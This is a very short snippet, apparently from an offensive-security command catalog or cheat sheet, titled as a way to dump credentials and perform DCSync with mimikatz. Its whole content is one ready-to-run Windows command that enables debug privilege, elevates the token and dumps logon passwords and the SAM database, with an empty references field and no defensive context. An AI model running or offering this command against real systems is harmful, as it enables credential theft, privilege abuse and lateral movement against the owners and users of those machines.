Dump credentials and DCSync with mimikatz, by action.
Command: Windows copy
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
References: